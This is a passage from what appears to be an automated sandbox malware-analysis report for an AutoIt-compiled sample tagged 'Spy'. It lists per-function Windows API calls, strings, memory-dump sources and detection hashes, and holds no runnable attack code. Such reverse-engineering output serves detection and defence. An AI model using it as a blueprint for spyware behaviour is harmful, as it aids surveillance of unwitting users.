SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00AF7E44
SendMessageW.USER32(00000404,00000001,00000000), ref: 00AF7E55
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 00AF7E85
GetStockObject.GDI32(00000011), ref: 00AF7E90
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00AF7E9B
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?,?), ref: 00AF7EA5

Strings

static, xrefs: 00AF7D67, 00AF7E7F
AutoIt v3, xrefs: 00AF7D15
msctls_progress32, xrefs: 00AF7E26
DISPLAY, xrefs: 00AF7D72

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: e0f457c391cc9530bd42e596be0a835369e8b96f5c34284be5fce8249251012f
Instruction ID: 82f24ce6b36eb959efe7282ec7d40e0236b2b32ffa10f3af7059aa1028cd10d3
Opcode Fuzzy Hash: e0f457c391cc9530bd42e596be0a835369e8b96f5c34284be5fce8249251012f
Instruction Fuzzy Hash: D8A185B1A50219BFEB14DBA4DD4AFAE77B9EB05710F008114FA15A72E0DBB0AD41CF60

Function 00AEB353 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 186COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00AEB361
GetDriveTypeW.KERNEL32(?,00B12C4C,?,\\.\,00B10980), ref: 00AEB43E
SetErrorMode.KERNEL32(00000000,00B12C4C,?,\\.\,00B10980), ref: 00AEB59C

Strings

SATA, xrefs: 00AEB54F
SAS, xrefs: 00AEB548
Virtual, xrefs: 00AEB564
Unknown, xrefs: 00AEB45E, 00AEB502
iSCSI, xrefs: 00AEB541
RAID, xrefs: 00AEB53A
ATAPI, xrefs: 00AEB510
ATA, xrefs: 00AEB517
Fibre, xrefs: 00AEB52C
SSD, xrefs: 00AEB4C9
Removable, xrefs: 00AEB490
MMC, xrefs: 00AEB55D
\\.\, xrefs: 00AEB3B3
FileBackedVirtual, xrefs: 00AEB56B
SCSI, xrefs: 00AEB509
Network, xrefs: 00AEB47C
PhysicalDrive, xrefs: 00AEB3EA
1394, xrefs: 00AEB51E
CDROM, xrefs: 00AEB472
RAMDisk, xrefs: 00AEB468
USB, xrefs: 00AEB533
SSA, xrefs: 00AEB525
Fixed, xrefs: 00AEB486

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: e5532da2fa1e258f21d99ab3df6d90dcf5f1bc30737dde0d6f6c3e073477345b
Instruction ID: 4f7a6a2a3d0ed308edb88c4479b17b6f605fa0690d9eebca24c13649feb0ee66
Opcode Fuzzy Hash: e5532da2fa1e258f21d99ab3df6d90dcf5f1bc30737dde0d6f6c3e073477345b
Instruction Fuzzy Hash: 81517430B6425AEBCB00EB62CA4AD7E77F0EB44740F344156E507A72A1DB71AE41CB71

Function 00B0A041 Relevance: 42.5, APIs: 23, Strings: 1, Instructions: 455windowCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000103,?,?,?), ref: 00B0A0F7
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00B0A1B0
SendMessageW.USER32(?,00001102,00000002,?), ref: 00B0A1CC

Strings

0, xrefs: 00B0A209

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: MessageSend$Window
String ID: 0
API String ID: 2326795674-4108050209
Opcode ID: 61a5b68d2d3f00b51492db18d1e099f8fa2cb827c8922c9141d01fa732c2c807
Instruction ID: c5a6ccf8254d4483ff26d8247af4acff6fd3a5df90e037060b487a0fad2c2989
Opcode Fuzzy Hash: 61a5b68d2d3f00b51492db18d1e099f8fa2cb827c8922c9141d01fa732c2c807
Instruction Fuzzy Hash: 2E02BB30108301AFDB25CF14C888BAABFE5FF95714F048AA9F995972E1CB75D944CB92

Function 00B0AF18 Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 00B0AF51
SetTextColor.GDI32(?,?), ref: 00B0AF55
GetSysColorBrush.USER32(0000000F), ref: 00B0AF6B
GetSysColor.USER32(0000000F), ref: 00B0AF76
CreateSolidBrush.GDI32(?), ref: 00B0AF7B
GetSysColor.USER32(00000011), ref: 00B0AF93
CreatePen.GDI32(00000000,00000001,00743C00), ref: 00B0AFA1
SelectObject.GDI32(?,00000000), ref: 00B0AFB2
SetBkColor.GDI32(?,00000000), ref: 00B0AFBB
SelectObject.GDI32(?,?), ref: 00B0AFC8
InflateRect.USER32(?,000000FF,000000FF), ref: 00B0AFE7
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00B0AFFE
GetWindowLongW.USER32(00000000,000000F0), ref: 00B0B013
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00B0B05F
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 00B0B086
InflateRect.USER32(?,000000FD,000000FD), ref: 00B0B0A4
DrawFocusRect.USER32(?,?), ref: 00B0B0AF
GetSysColor.USER32(00000011), ref: 00B0B0BD
SetTextColor.GDI32(?,00000000), ref: 00B0B0C5
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 00B0B0D9
SelectObject.GDI32(?,00B0AC1F), ref: 00B0B0F0
DeleteObject.GDI32(?), ref: 00B0B0FB
SelectObject.GDI32(?,?), ref: 00B0B101
DeleteObject.GDI32(?), ref: 00B0B106
SetTextColor.GDI32(?,?), ref: 00B0B10C
SetBkColor.GDI32(?,?), ref: 00B0B116

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: 3f89b438cefc5e6d7bbc2e6ca12089aefcca59666e268d7795005a0a31f65620
Instruction ID: a7d4ce77543014a0b156f10b821ae3b76ec6ea42996faa239e4190f23a563527
Opcode Fuzzy Hash: 3f89b438cefc5e6d7bbc2e6ca12089aefcca59666e268d7795005a0a31f65620
Instruction Fuzzy Hash: C6613B71910219BFDB11AFA4DC48EEE7BB9EB08320F108555F915AB2E1DBB59980CF90

Function 00B08FFA Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 401windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00B090EA
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00B090FB
CharNextW.USER32(0000014E), ref: 00B0912A
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00B0916B
SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00B09181
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00B09192
SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 00B091AF
SetWindowTextW.USER32(?,0000014E), ref: 00B091FB
SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 00B09211
SendMessageW.USER32(?,00001002,00000000,?), ref: 00B09242
_memset.LIBCMT ref: 00B09267
SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 00B092B0
_memset.LIBCMT ref: 00B0930F
SendMessageW.USER32(?,00001053,000000FF,?), ref: 00B09339
SendMessageW.USER32(?,00001074,?,00000001), ref: 00B09391
SendMessageW.USER32(?,0000133D,?,?), ref: 00B0943E
InvalidateRect.USER32(?,00000000,00000001), ref: 00B09460
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00B094AA
SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00B094D7
DrawMenuBar.USER32(?), ref: 00B094E6
SetWindowTextW.USER32(?,0000014E), ref: 00B0950E

Strings

0, xrefs: 00B09478

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
String ID: 0
API String ID: 1073566785-4108050209
Opcode ID: 994009b92f70d1eec0e8ab101fd6a2bd4c8eec7332bb53af73faf95aed00ee03
Instruction ID: 42463776398d9117926677a1a593c9c63de6cbc95298c955442971c0895fd75f
Opcode Fuzzy Hash: 994009b92f70d1eec0e8ab101fd6a2bd4c8eec7332bb53af73faf95aed00ee03
Instruction Fuzzy Hash: 2CE16C71904209AEDF219F55CC84EEE7FB8EF09710F508196F915AB2D2DB708A81DF61

Function 00B04ECC Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00B05007
GetDesktopWindow.USER32 ref: 00B0501C
GetWindowRect.USER32(00000000), ref: 00B05023
GetWindowLongW.USER32(?,000000F0), ref: 00B05085
DestroyWindow.USER32(?), ref: 00B050B1
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00B050DA
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00B050F8
SendMessageW.USER32(?,00000439,00000000,00000030), ref: 00B0511E
SendMessageW.USER32(?,00000421,?,?), ref: 00B05133
SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 00B05146
IsWindowVisible.USER32(?), ref: 00B05166
SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00B05181
SendMessageW.USER32(?,00000411,00000001,00000030), ref: 00B05195
GetWindowRect.USER32(?,?), ref: 00B051AD
MonitorFromPoint.USER32(?,?,00000002), ref: 00B051D3
GetMonitorInfoW.USER32(00000000,?), ref: 00B051ED
CopyRect.USER32(?,?), ref: 00B05204
SendMessageW.USER32(?,00000412,00000000), ref: 00B0526F

Strings

0, xrefs: 00B04FB2
tooltips_class32, xrefs: 00B050D3
(, xrefs: 00B051E0

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: d72afd887108d59d8aaef0d00b9af28c0177d123599115896a29e8e091518db9
Instruction ID: f2f327beeb3e02acc94ff6c0bf0a2ccbf49ffdaf8419b5b9d171237cf54e2834
Opcode Fuzzy Hash: d72afd887108d59d8aaef0d00b9af28c0177d123599115896a29e8e091518db9
Instruction Fuzzy Hash: FCB18870604701AFD714EF64C988B6BBBE5FF88310F008A58F9999B291DB71E845CF92

Function 00AE498A Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 179COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?), ref: 00AE499C
GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 00AE49C2
_wcscpy.LIBCMT ref: 00AE49F0
_wcscmp.LIBCMT ref: 00AE49FB
_wcscat.LIBCMT ref: 00AE4A11
_wcsstr.LIBCMT ref: 00AE4A1C
VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 00AE4A38
_wcscat.LIBCMT ref: 00AE4A81
_wcscat.LIBCMT ref: 00AE4A88
_wcsncpy.LIBCMT ref: 00AE4AB3

Strings

%u.%u.%u.%u, xrefs: 00AE4B16
DefaultLangCodepage, xrefs: 00AE4A9B
StringFileInfo\, xrefs: 00AE4A0B
\VarFileInfo\Translation, xrefs: 00AE4A30
04090000, xrefs: 00AE4A6E

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: _wcscat$FileInfoVersion$QuerySizeValue_wcscmp_wcscpy_wcsncpy_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 699586101-1459072770
Opcode ID: be70b539c353652ce3569bd00c7437813ef20c9570545f7e1b29f1d70d4c43fb
Instruction ID: 07258db11f5a74668cefa9ca15a40e9a4c9884e3bcb35f67affb2346eb44ca9d
Opcode Fuzzy Hash: be70b539c353652ce3569bd00c7437813ef20c9570545f7e1b29f1d70d4c43fb
Instruction Fuzzy Hash: 3D410472A002047EEB10B7658E47EBF7BBCEF46360F104069FA04A71D2EB74DA5197A5

Function 00A82BA9 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 286windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00A82C8C
GetSystemMetrics.USER32(00000007), ref: 00A82C94
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00A82CBF
GetSystemMetrics.USER32(00000008), ref: 00A82CC7
GetSystemMetrics.USER32(00000004), ref: 00A82CEC
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00A82D09
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00A82D19
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 00A82D4C
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00A82D60
GetClientRect.USER32(00000000,000000FF), ref: 00A82D7E
GetStockObject.GDI32(00000011), ref: 00A82D9A
SendMessageW.USER32(00000000,00000030,00000000), ref: 00A82DA5

Part of subcall function 00A82714: GetCursorPos.USER32(?), ref: 00A82727
Part of subcall function 00A82714: ScreenToClient.USER32(00B477B0,?), ref: 00A82744
Part of subcall function 00A82714: GetAsyncKeyState.USER32(00000001), ref: 00A82769
Part of subcall function 00A82714: GetAsyncKeyState.USER32(00000002), ref: 00A82777

SetTimer.USER32(00000000,00000000,00000028,00A813C7), ref: 00A82DCC

Strings

AutoIt v3 GUI, xrefs: 00A82D44

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: d5b8b280354c076375934a092bd438ce411d3a6b923f826e2c8f9ffbe12ca271
Instruction ID: c62c76d24a0beb02a17b3f8041106b8cd47ad28b1556bc0114204867606ebdb0
Opcode Fuzzy Hash: d5b8b280354c076375934a092bd438ce411d3a6b923f826e2c8f9ffbe12ca271
Instruction Fuzzy Hash: 8DB16C75A4020A9FDB14EFA8DD89BFD7BB5FB08310F108129FA15E7290DB74A950CB54

Function 00AA0429 Relevance: 30.1, APIs: 8, Strings: 9, Instructions: 349COMMON

Download Yara Rule

APIs

Part of subcall function 00A91821: _memmove.LIBCMT ref: 00A9185B

GetForegroundWindow.USER32(00B10980,?,?,?,?,?), ref: 00AA04E3
IsWindow.USER32(?), ref: 00AD66BB

Strings

ALL, xrefs: 00AD6622
HANDLE, xrefs: 00AD649E
ACTIVE, xrefs: 00AD6488
LAST, xrefs: 00AD6472
REGEXPCLASS, xrefs: 00AD6506
REGEXPTITLE, xrefs: 00AD64B4
CLASS, xrefs: 00AD64E5
TITLE, xrefs: 00AD6650
INSTANCE, xrefs: 00AD65FA

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Window$Foreground_memmove
String ID: ACTIVE$ALL$CLASS$HANDLE$INSTANCE$LAST$REGEXPCLASS$REGEXPTITLE$TITLE
API String ID: 3828923867-1919597938
Opcode ID: 70f2f5ce8d2edf0e8ed4f39c15cd4905d900bbd5790fed434cd10b0627417510
Instruction ID: e9d9ac8b92305c3b7b74a858febd5e08d79130f78ffe99a490b832193449c4b4
Opcode Fuzzy Hash: 70f2f5ce8d2edf0e8ed4f39c15cd4905d900bbd5790fed434cd10b0627417510
Instruction Fuzzy Hash: 59D1B531204706DFCB08EF20C6819AABBF5BF55344F604A1AF496576A2DF30F999CB91

Function 00B0441F Relevance: 28.3, APIs: 3, Strings: 13, Instructions: 283windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00B044AC
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 00B0456C

Strings

SELECTALL, xrefs: 00B045D3
DESELECT, xrefs: 00B0465A
SELECT, xrefs: 00B04606
FINDITEM, xrefs: 00B046DF
GETITEMCOUNT, xrefs: 00B044DE
VIEWCHANGE, xrefs: 00B0472B
GETSELECTED, xrefs: 00B0469A
SELECTCLEAR, xrefs: 00B045EB
ISSELECTED, xrefs: 00B04577
SELECTINVERT, xrefs: 00B0463C
GETTEXT, xrefs: 00B04515
GETSUBITEMCOUNT, xrefs: 00B044F7
GETSELECTEDCOUNT, xrefs: 00B0454F

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 3974292440-719923060
Opcode ID: 57ba86451c1617544bc3da62493b671bd7ace60942defe391f497523cea60977
Instruction ID: 9452a041ce89390b2fd2784eb88108e8a9a3c1b6c4af1d8defd8980c8e1be483
Opcode Fuzzy Hash: 57ba86451c1617544bc3da62493b671bd7ace60942defe391f497523cea60977
Instruction Fuzzy Hash: D3A180712142019FCB14FF60CA91A6AB7E5EF99314F2089A8F9569B3E2DF30EC05CB51

Function 00AF56C8 Relevance: 27.1, APIs: 18, Instructions: 124COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F89), ref: 00AF56E1
LoadCursorW.USER32(00000000,00007F8A), ref: 00AF56EC
LoadCursorW.USER32(00000000,00007F00), ref: 00AF56F7
LoadCursorW.USER32(00000000,00007F03), ref: 00AF5702
LoadCursorW.USER32(00000000,00007F8B), ref: 00AF570D
LoadCursorW.USER32(00000000,00007F01), ref: 00AF5718
LoadCursorW.USER32(00000000,00007F81), ref: 00AF5723
LoadCursorW.USER32(00000000,00007F88), ref: 00AF572E
LoadCursorW.USER32(00000000,00007F80), ref: 00AF5739
LoadCursorW.USER32(00000000,00007F86), ref: 00AF5744
LoadCursorW.USER32(00000000,00007F83), ref: 00AF574F
LoadCursorW.USER32(00000000,00007F85), ref: 00AF575A
LoadCursorW.USER32(00000000,00007F82), ref: 00AF5765
LoadCursorW.USER32(00000000,00007F84), ref: 00AF5770
LoadCursorW.USER32(00000000,00007F04), ref: 00AF577B
LoadCursorW.USER32(00000000,00007F02), ref: 00AF5786
GetCursorInfo.USER32(?), ref: 00AF5796
GetLastError.KERNEL32(00000001,00000000), ref: 00AF57C1

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Cursor$Load$ErrorInfoLast
String ID:
API String ID: 3215588206-0
Opcode ID: 0533ad510c8686291dc82739bb9eb091b6c95e2b3da9bbaa6007c67e6deef583
Instruction ID: 39a98a081ee5c3bfced681aa63ec411fe6f876b22c34bf9b8e7c7842d3ebb7af
Opcode Fuzzy Hash: 0533ad510c8686291dc82739bb9eb091b6c95e2b3da9bbaa6007c67e6deef583
Instruction Fuzzy Hash: DC415470E043196ADB109FB68C49D6EFEF8EF51B50B10452FF619E7290DAB8A500CF91

Function 00ADB13A Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00ADB17B
__swprintf.LIBCMT ref: 00ADB21C
_wcscmp.LIBCMT ref: 00ADB22F
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00ADB284
_wcscmp.LIBCMT ref: 00ADB2C0
GetClassNameW.USER32(?,?,00000400), ref: 00ADB2F7
GetDlgCtrlID.USER32(?), ref: 00ADB349
GetWindowRect.USER32(?,?), ref: 00ADB37F
GetParent.USER32(?), ref: 00ADB39D
ScreenToClient.USER32(00000000), ref: 00ADB3A4
GetClassNameW.USER32(?,?,00000100), ref: 00ADB41E
_wcscmp.LIBCMT ref: 00ADB432
GetWindowTextW.USER32(?,?,00000400), ref: 00ADB458
_wcscmp.LIBCMT ref: 00ADB46C

Part of subcall function 00AA385C: _iswctype.LIBCMT ref: 00AA3864

Strings

%s%u, xrefs: 00ADB216

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_iswctype
String ID: %s%u
API String ID: 3744389584-679674701
Opcode ID: 505625edce6f5863457b02f181bf2262352d60b43d178382755ce15d0de43b7c
Instruction ID: cff761f13536394f5fc7f1903391f3ccab17b28ec8df40475093171a9d59b872
Opcode Fuzzy Hash: 505625edce6f5863457b02f181bf2262352d60b43d178382755ce15d0de43b7c
Instruction Fuzzy Hash: 3AA1BF71224206EFDB14DF24C884BEAB7A8FF44354F11861AF99AC3291DB30E955CBA1

Function 00ADBA6D Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(00000008,?,00000400), ref: 00ADBAB1
